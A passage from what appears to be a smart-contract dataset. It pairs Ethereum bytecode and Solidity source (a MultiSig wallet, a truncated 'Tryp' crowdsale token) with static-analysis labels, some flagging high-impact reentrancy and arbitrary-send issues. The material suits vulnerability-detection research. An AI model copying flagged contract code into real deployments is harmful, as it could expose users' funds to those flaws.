82840312156119ba578081fd5b5035919050565b6000806000606084860312156119d5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1a578581018301518582016040015282016119fe565b81811115611a2b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac55784516001600160a01b031683529383019391830191600101611aa0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af957611af9611b6f565b500190565b600082611b1957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3857611b38611b6f565b500290565b600082821015611b4f57611b4f611b6f565b500390565b6000600019821415611b6857611b68611b6f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095357600080fd5b801515811461095357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b7bf529ff26affe7f47770a1e11bd5da6bce8bf745a9c3184b580c99426656f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,481 |
0xad358024fecb1b5d58125f5bef06fabfe657e4c7
|
pragma solidity 0.7.4;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function functionCallWithValue(address target, bytes memory data, uint256 weiValue) internal returns (bytes memory) {
// solhint-disable-next-line avoid-low-level-calls
require(data.length == 0 || isContract(target));
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
revert(string(returndata));
}
}
}
contract MultiSigFactory {
event ContractCreated(address contractAddress, string typeName);
function create(address owner) public returns (address) {
address instance = address(new MultiSig(owner));
emit ContractCreated(instance, "MultiSig");
return instance;
}
function predict(address owner, bytes32 salt) public view returns (address) {
return address(uint(keccak256(abi.encodePacked(byte(0xff), address(this), salt,
keccak256(abi.encodePacked(type(MultiSig).creationCode, owner))
))));
}
function create(address owner, bytes32 salt) public returns (address) {
address instance = address(new MultiSig{salt: salt}(owner));
emit ContractCreated(instance, "MultiSig");
return instance;
}
}
contract Nonce {
uint256 public constant MAX_INCREASE = 100;
uint256 private compound;
constructor(){
setBoth(128, 0);
}
/**
* The next recommended nonce, which is the highest nonce ever used plus one.
*/
function nextNonce() public view returns (uint256){
return getMax() + 1;
}
/**
* Returns whether the provided nonce can be used.
* For the 100 nonces in the interval [nextNonce(), nextNonce + 99], this is always true.
* For the nonces in the interval [nextNonce() - 129, nextNonce() - 1], this is true for the nonces that have not been used yet.
*/
function isFree(uint128 nonce) public view returns (bool){
uint128 max = getMax();
return isValidHighNonce(max, nonce) || isValidLowNonce(max, getRegister(), nonce);
}
/**
* Flags the given nonce as used.
* Reverts if the provided nonce is not free.
*/
function flagUsed(uint128 nonce) public {
uint256 comp = compound;
uint128 max = uint128(comp);
uint128 reg = uint128(comp >> 128);
if (isValidHighNonce(max, nonce)){
setBoth(nonce, ((reg << 1) | 0x1) << (nonce - max - 1));
} else if (isValidLowNonce(max, reg, nonce)){
setBoth(max, uint128(reg | 0x1 << (max - nonce - 1)));
} else {
require(false);
}
}
function getMax() private view returns (uint128) {
return uint128(compound);
}
function getRegister() private view returns (uint128) {
return uint128(compound >> 128);
}
function setBoth(uint128 max, uint128 reg) private {
compound = uint256(reg) << 128 | max;
}
function isValidHighNonce(uint128 max, uint128 nonce) private pure returns (bool){
return nonce > max && nonce <= max + MAX_INCREASE;
}
function isValidLowNonce(uint128 max, uint128 reg, uint256 nonce) private pure returns (bool){
uint256 diff = max - nonce;
return diff > 0 && diff <= 128 && ((0x1 << (diff - 1)) & reg == 0);
}
}
library RLPEncode {
uint8 constant STRING_SHORT_PREFIX = 0x80;
uint8 constant STRING_LONG_PREFIX = 0xb7;
uint8 constant LIST_SHORT_PREFIX = 0xc0;
uint8 constant LIST_LONG_PREFIX = 0xf7;
/// @dev Rlp encodes a bytes
/// @param self The bytes to be encoded
/// @return The rlp encoded bytes
function encodeBytes(bytes memory self) internal pure returns (bytes memory) {
if(self.length == 1 && self[0] < 0x80) {
return self;
} else {
return encode(self, STRING_SHORT_PREFIX, STRING_LONG_PREFIX);
}
}
/// @dev Rlp encodes a bytes[]. Note that the items in the bytes[] will not automatically be rlp encoded.
/// @param self The bytes[] to be encoded
/// @return The rlp encoded bytes[]
function encodeList(bytes[] memory self) internal pure returns (bytes memory) {
bytes memory list = flatten(self);
return encode(list, LIST_SHORT_PREFIX, LIST_LONG_PREFIX);
}
function encode(bytes memory self, uint8 prefix1, uint8 prefix2) private pure returns (bytes memory) {
uint selfPtr;
assembly { selfPtr := add(self, 0x20) }
uint len = self.length;
if(len <= 55) {
bytes memory encoded = new bytes(len+1);
uint8 lenshort = uint8(len);
// length encoding byte
encoded[0] = byte(prefix1+lenshort);
// string/list contents
uint encodedPtr;
assembly { encodedPtr := add(encoded, 0x21) }
memcpy(encodedPtr, selfPtr, len);
return encoded;
} else {
uint8 lenLen;
uint i = 0x1;
while(len/i != 0) {
lenLen++;
i *= 0x100;
}
// 1 is the length of the length of the length
bytes memory encoded = new bytes(1+lenLen+len);
// length of the length encoding byte
encoded[0] = byte(prefix2+lenLen);
// length bytes
for(i=1; i<=lenLen; i++) {
encoded[i] = byte(uint8((len/(0x100**(lenLen-i)))%0x100));
}
// string/list contents
uint encodedPtr;
assembly { encodedPtr := add(add(encoded, 0x21), lenLen) }
memcpy(encodedPtr, selfPtr, len);
return encoded;
}
}
function flatten(bytes[] memory self) private pure returns (bytes memory) {
if(self.length == 0) {
return new bytes(0);
}
uint len;
for(uint i=0; i<self.length; i++) {
len += self[i].length;
}
bytes memory flattened = new bytes(len);
uint flattenedPtr;
assembly { flattenedPtr := add(flattened, 0x20) }
for(uint i=0; i<self.length; i++) {
bytes memory item = self[i];
uint selfPtr;
assembly { selfPtr := add(item, 0x20)}
memcpy(flattenedPtr, selfPtr, item.length);
flattenedPtr += self[i].length;
}
return flattened;
}
/// This function is from Nick Johnson's string utils library
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
}
contract MultiSig is Nonce {
mapping (address => uint8) public signers; // The addresses that can co-sign transactions and the number of signatures needed
uint16 public signerCount;
bytes public contractId; // most likely unique id of this contract
event SignerChange(
address indexed signer,
uint8 cosignaturesNeeded
);
event Transacted(
address indexed toAddress, // The address the transaction was sent to
bytes4 selector, // selected operation
address[] signers // Addresses of the signers used to initiate the transaction
);
constructor (address owner) {
// We use the gas price to get a unique id into our transactions.
// Note that 32 bits do not guarantee that no one can generate a contract with the
// same id, but it practically rules out that someone accidentally creates two
// two multisig contracts with the same id, and that's all we need to prevent
// replay-attacks.
contractId = toBytes(uint32(address(this)));
_setSigner(owner, 1); // set initial owner
}
/**
* It should be possible to store ether on this address.
*/
receive() external payable {
}
/**
* Checks if the provided signatures suffice to sign the transaction and if the nonce is correct.
*/
function checkSignatures(uint128 nonce, address to, uint value, bytes calldata data,
uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) public view returns (address[] memory) {
bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data);
return verifySignatures(transactionHash, v, r, s);
}
/**
* Checks if the execution of a transaction would succeed if it was properly signed.
*/
function checkExecution(address to, uint value, bytes calldata data) public {
Address.functionCallWithValue(to, data, value);
require(false, "Test passed. Reverting.");
}
function execute(uint128 nonce, address to, uint value, bytes calldata data, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) public returns (bytes memory) {
bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data);
address[] memory found = verifySignatures(transactionHash, v, r, s);
bytes memory returndata = Address.functionCallWithValue(to, data, value);
flagUsed(nonce);
emit Transacted(to, extractSelector(data), found);
return returndata;
}
function extractSelector(bytes calldata data) private pure returns (bytes4){
if (data.length < 4){
return bytes4(0);
} else {
return bytes4(data[0]) | (bytes4(data[1]) >> 8) | (bytes4(data[2]) >> 16) | (bytes4(data[3]) >> 24);
}
}
function toBytes(uint number) internal pure returns (bytes memory){
uint len = 0;
uint temp = 1;
while (number >= temp){
temp = temp << 8;
len++;
}
temp = number;
bytes memory data = new bytes(len);
for (uint i = len; i>0; i--) {
data[i-1] = bytes1(uint8(temp));
temp = temp >> 8;
}
return data;
}
// Note: does not work with contract creation
function calculateTransactionHash(uint128 sequence, bytes storage id, address to, uint value, bytes calldata data)
private pure returns (bytes32){
bytes[] memory all = new bytes[](9);
all[0] = toBytes(sequence); // sequence number instead of nonce
all[1] = id; // contract id instead of gas price
all[2] = toBytes(21000); // gas limit
all[3] = abi.encodePacked(to);
all[4] = toBytes(value);
all[5] = data;
all[6] = toBytes(1);
all[7] = toBytes(0);
for (uint i = 0; i<8; i++){
all[i] = RLPEncode.encodeBytes(all[i]);
}
all[8] = all[7];
return keccak256(RLPEncode.encodeList(all));
}
function verifySignatures(bytes32 transactionHash, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s)
private view returns (address[] memory) {
address[] memory found = new address[](r.length);
for (uint i = 0; i < r.length; i++) {
address signer = ecrecover(transactionHash, v[i], r[i], s[i]);
uint8 cosignaturesNeeded = signers[signer];
require(cosignaturesNeeded > 0 && cosignaturesNeeded <= r.length, "cosigner error");
found[i] = signer;
}
requireNoDuplicates(found);
return found;
}
function requireNoDuplicates(address[] memory found) private pure {
for (uint i = 0; i < found.length; i++) {
for (uint j = i+1; j < found.length; j++) {
require(found[i] != found[j], "duplicate signature");
}
}
}
/**
* Call this method through execute
*/
function setSigner(address signer, uint8 cosignaturesNeeded) public authorized {
_setSigner(signer, cosignaturesNeeded);
require(signerCount > 0);
}
function migrate(address destination) public {
_migrate(msg.sender, destination);
}
function migrate(address source, address destination) public authorized {
_migrate(source, destination);
}
function _migrate(address source, address destination) private {
require(signers[destination] == 0); // do not overwrite existing signer!
_setSigner(destination, signers[source]);
_setSigner(source, 0);
}
function _setSigner(address signer, uint8 cosignaturesNeeded) private {
require(!Address.isContract(signer), "signer cannot be a contract");
uint8 prevValue = signers[signer];
signers[signer] = cosignaturesNeeded;
if (prevValue > 0 && cosignaturesNeeded == 0){
signerCount--;
} else if (prevValue == 0 && cosignaturesNeeded > 0){
signerCount++;
}
emit SignerChange(signer, cosignaturesNeeded);
}
modifier authorized() {
require(address(this) == msg.sender || signers[msg.sender] == 1, "not authorized");
_;
}
}
|
0x6080604052600436106100c65760003560e01c80638291286c1161007f578063c1e38e8d11610059578063c1e38e8d146104d8578063ce5494bb1461050b578063d69c3d301461053e578063ecec0dfd14610553576100cd565b80638291286c146103ec578063b5fe516314610401578063b6e404de14610448576100cd565b80630f43d678146100d25780631068361f1461011057806348753d001461014b578063736c0d5b146103505780637ca548c6146103995780637cedbb80146103c5576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b5061010e600480360360408110156100f557600080fd5b5080356001600160a01b0316906020013560ff16610733565b005b34801561011c57600080fd5b5061010e6004803603604081101561013357600080fd5b506001600160a01b03813581169160200135166107b4565b34801561015757600080fd5b506102db600480360360e081101561016e57600080fd5b6001600160801b03823516916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156101ad57600080fd5b8201836020820111156101bf57600080fd5b803590602001918460018302840111600160201b831117156101e057600080fd5b919390929091602081019035600160201b8111156101fd57600080fd5b82018360208201111561020f57600080fd5b803590602001918460208302840111600160201b8311171561023057600080fd5b919390929091602081019035600160201b81111561024d57600080fd5b82018360208201111561025f57600080fd5b803590602001918460208302840111600160201b8311171561028057600080fd5b919390929091602081019035600160201b81111561029d57600080fd5b8201836020820111156102af57600080fd5b803590602001918460208302840111600160201b831117156102d057600080fd5b509092509050610821565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103155781810151838201526020016102fd565b50505050905090810190601f1680156103425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035c57600080fd5b506103836004803603602081101561037357600080fd5b50356001600160a01b0316610951565b6040805160ff9092168252519081900360200190f35b3480156103a557600080fd5b506103ae610966565b6040805161ffff9092168252519081900360200190f35b3480156103d157600080fd5b506103da610970565b60408051918252519081900360200190f35b3480156103f857600080fd5b506102db610975565b34801561040d57600080fd5b506104346004803603602081101561042457600080fd5b50356001600160801b0316610a03565b604080519115158252519081900360200190f35b34801561045457600080fd5b5061010e6004803603606081101561046b57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561049a57600080fd5b8201836020820111156104ac57600080fd5b803590602001918460018302840111600160201b831117156104cd57600080fd5b509092509050610a44565b3480156104e457600080fd5b5061010e600480360360208110156104fb57600080fd5b50356001600160801b0316610ada565b34801561051757600080fd5b5061010e6004803603602081101561052e57600080fd5b50356001600160a01b0316610b6b565b34801561054a57600080fd5b506103da610b78565b34801561055f57600080fd5b506106e3600480360360e081101561057657600080fd5b6001600160801b03823516916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156105b557600080fd5b8201836020820111156105c757600080fd5b803590602001918460018302840111600160201b831117156105e857600080fd5b919390929091602081019035600160201b81111561060557600080fd5b82018360208201111561061757600080fd5b803590602001918460208302840111600160201b8311171561063857600080fd5b919390929091602081019035600160201b81111561065557600080fd5b82018360208201111561066757600080fd5b803590602001918460208302840111600160201b8311171561068857600080fd5b919390929091602081019035600160201b8111156106a557600080fd5b8201836020820111156106b757600080fd5b803590602001918460208302840111600160201b831117156106d857600080fd5b509092509050610b93565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561071f578181015183820152602001610707565b505050509050019250505060405180910390f35b3033148061075457503360009081526001602081905260409091205460ff16145b610796576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b6107a08282610c04565b60025461ffff166107b057600080fd5b5050565b303314806107d557503360009081526001602081905260409091205460ff16145b610817576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b6107b08282610d35565b606060006108348d60038e8e8e8e610d8d565b90506060610847828a8a8a8a8a8a61103f565b9050606061089a8e8d8d8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050508f6111eb565b90506108a58f610ada565b8d6001600160a01b03167f64ada3f9bcd41ebd407b399dc401184273a19bc294825172626af05a15c95d256108da8e8e611350565b8460405180836001600160e01b031916815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561092b578181015183820152602001610913565b50505050905001935050505060405180910390a29e9d5050505050505050505050505050565b60016020526000908152604090205460ff1681565b60025461ffff1681565b606481565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109fb5780601f106109d0576101008083540402835291602001916109fb565b820191906000526020600020905b8154815290600101906020018083116109de57829003601f168201915b505050505081565b600080610a0e6113f4565b9050610a1a81846113fa565b80610a3b5750610a3b81610a2c61142e565b856001600160801b0316611437565b9150505b919050565b610a868483838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508892506111eb915050565b506040805162461bcd60e51b815260206004820152601760248201527f54657374207061737365642e20526576657274696e672e000000000000000000604482015290519081900360640190fd5b50505050565b60005480608081901c610aed82856113fa565b15610b2b57610b26846001848703036001600160801b03166001846001600160801b0316901b6001176001600160801b0316901b61147b565b610ad4565b610b3f8282866001600160801b0316611437565b156100cd57610b26826001868503036001600160801b03166001901b836001600160801b03161761147b565b610b753382610d35565b50565b6000610b826113f4565b6001016001600160801b0316905090565b60606000610ba68d60038e8e8e8e610d8d565b9050610bb78189898989898961103f565b9d9c50505050505050505050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590610bfc57508115155b949350505050565b610c0d82610bc8565b15610c5f576040805162461bcd60e51b815260206004820152601b60248201527f7369676e65722063616e6e6f74206265206120636f6e74726163740000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600160205260409020805460ff83811660ff19831617909255168015801590610c98575060ff8216155b15610cbc576002805461ffff19811661ffff91821660001901909116179055610cee565b60ff8116158015610cd0575060008260ff16115b15610cee576002805461ffff8082166001011661ffff199091161790555b6040805160ff8416815290516001600160a01b038516917f7f00bf87056fc9622b70d830cce34aa24d6c12881ebbc71d3bf22d0c5ae295b7919081900360200190a2505050565b6001600160a01b03811660009081526001602052604090205460ff1615610d5b57600080fd5b6001600160a01b038216600090815260016020526040902054610d8290829060ff16610c04565b6107b0826000610c04565b604080516009808252610140820190925260009160609190816020015b6060815260200190600190039081610daa579050509050610dd3886001600160801b03166114a5565b81600081518110610de057fe5b602090810291909101810191909152875460408051601f6002600019610100600187161502019094169390930492830184900484028101840190915281815291899190830182828015610e745780601f10610e4957610100808354040283529160200191610e74565b820191906000526020600020905b815481529060010190602001808311610e5757829003601f168201915b505050505081600181518110610e8657fe5b6020026020010181905250610e9c6152086114a5565b81600281518110610ea957fe5b60200260200101819052508560405160200180826001600160a01b031660601b815260140191505060405160208183030381529060405281600381518110610eed57fe5b6020026020010181905250610f01856114a5565b81600481518110610f0e57fe5b602002602001018190525083838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250508351849250600591508110610f5e57fe5b6020026020010181905250610f7360016114a5565b81600681518110610f8057fe5b6020026020010181905250610f9560006114a5565b81600781518110610fa257fe5b602002602001018190525060005b6008811015610ff457610fd5828281518110610fc857fe5b6020026020010151611555565b828281518110610fe157fe5b6020908102919091010152600101610fb0565b508060078151811061100257fe5b60200260200101518160088151811061101757fe5b602002602001018190525061102b816115a6565b805190602001209150509695505050505050565b6060808467ffffffffffffffff8111801561105957600080fd5b50604051908082528060200260200182016040528015611083578160200160208202803683370190505b50905060005b858110156111d557600060018b8b8b858181106110a257fe5b9050602002013560ff168a8a868181106110b857fe5b905060200201358989878181106110cb57fe5b9050602002013560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611126573d6000803e3d6000fd5b505060408051601f1901516001600160a01b03811660009081526001602052919091205490925060ff1690508015801590611164575060ff81168810155b6111a6576040805162461bcd60e51b815260206004820152600e60248201526d31b7b9b4b3b732b91032b93937b960911b604482015290519081900360640190fd5b818484815181106111b357fe5b6001600160a01b03909216602092830291909101909101525050600101611089565b506111df816115c1565b98975050505050505050565b6060825160001480611201575061120184610bc8565b61120a57600080fd5b60006060856001600160a01b031684866040518082805190602001908083835b602083106112495780518252601f19909201916020918201910161122a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146112ab576040519150601f19603f3d011682016040523d82523d6000602084013e6112b0565b606091505b509150915081156112c45791506113499050565b8060405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561130e5781810151838201526020016112f6565b50505050905090810190601f16801561133b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b60006004821015611363575060006113ee565b60188383600381811061137257fe5b909101356001600160f81b03191690911c905060108484600281811061139457fe5b909101356001600160f81b03191690911c90506008858560018181106113b657fe5b909101356001600160f81b03191690911c905085856000816113d457fe5b9050013560f81c60f81b6001600160f81b03191617171790505b92915050565b60005490565b6000826001600160801b0316826001600160801b03161180156113495750506001600160801b039182166064019116111590565b60005460801c90565b60006001600160801b0384168290038015801590611456575060808111155b80156114725750600160001982011b84166001600160801b0316155b95945050505050565b6fffffffffffffffffffffffffffffffff1960809190911b166001600160801b0390911617600055565b6060600060015b8084106114c15760019091019060081b6114ac565b508260608267ffffffffffffffff811180156114dc57600080fd5b506040519080825280601f01601f191660200182016040528015611507576020820181803683370190505b509050825b801561154c578260f81b82600183038151811061152557fe5b60200101906001600160f81b031916908160001a90535060089290921c916000190161150c565b50949350505050565b6060815160011480156115865750608060f81b8260008151811061157557fe5b01602001516001600160f81b031916105b15611592575080610a3f565b61159f82608060b761166f565b9050610a3f565b6060806115b28361182e565b9050610a3b8160c060f761166f565b60005b81518110156107b057600181015b8251811015611666578281815181106115e757fe5b60200260200101516001600160a01b031683838151811061160457fe5b60200260200101516001600160a01b0316141561165e576040805162461bcd60e51b81526020600482015260136024820152726475706c6963617465207369676e617475726560681b604482015290519081900360640190fd5b6001016115d2565b506001016115c4565b82516060906020850190603781116117165760608160010167ffffffffffffffff8111801561169d57600080fd5b506040519080825280601f01601f1916602001820160405280156116c8576020820181803683370190505b509050600082905080870160f81b826000815181106116e357fe5b60200101906001600160f81b031916908160001a90535060218201611709818686611938565b8295505050505050611349565b600060015b80838161172457fe5b0415611739576001909101906101000261171b565b6060838360010160ff160167ffffffffffffffff8111801561175a57600080fd5b506040519080825280601f01601f191660200182016040528015611785576020820181803683370190505b50905082870160f81b8160008151811061179b57fe5b60200101906001600160f81b031916908160001a905350600191505b8260ff16821161181057610100828460ff16036101000a85816117d657fe5b04816117de57fe5b0660f81b8183815181106117ee57fe5b60200101906001600160f81b031916908160001a9053506001909101906117b7565b808301602101611821818787611938565b5094506113499350505050565b606081516000141561184f5750604080516000815260208101909152610a3f565b6000805b83518110156118825783818151811061186857fe5b602002602001015151820191508080600101915050611853565b5060608167ffffffffffffffff8111801561189c57600080fd5b506040519080825280601f01601f1916602001820160405280156118c7576020820181803683370190505b5090506020810160005b855181101561192e5760608682815181106118e857fe5b60200260200101519050600060208201905061190684828451611938565b87838151811061191257fe5b60200260200101515184019350505080806001019150506118d1565b5090949350505050565b5b60208110611958578151835260209283019290910190601f1901611939565b905182516020929092036101000a600019018019909116911617905256fea26469706673582212209469361f0335e52310c37059766104d2dc4c55fa72972b7172fcbbcc974cfdc164736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,482 |
0xbba67b58cb5059f388cae3d7597ebac6cb70dfe6
|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/////////////////////////////////////////////////////////////////
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//////////////////////////////////////////////////////
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
///////////////////////////////////////////////////////////////
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
////////////////////////////////////////////////////////////////////////
contract TrypCrowdsale is StandardToken, Ownable {
using SafeMath for uint256;
string public name = "Tryp";
string public symbol = "Tryp";
uint public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000000000000000000;
// The token being sold
StandardToken public token = this;
// Addresses where funds are collected
address private constant prizewallet = (0x6eFd9391Db718dEff494C2199CD83E0EFc8102f6);
address private constant prize2wallet = (0x426570e5b796A2845C700B4b49058E097f7dCb54);
address private constant adminwallet = (0xe7d718cc663784480EBB62A672180fbB68f89424);
// How many token units a buyer gets per wei
uint256 public weiPerToken = 15000000000000000;
// uint256 public ethPriceToday;
// Amount of wei raised
uint256 public weiRaised;
uint256 public totalSupply_;
uint256 public remainingSupply_;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
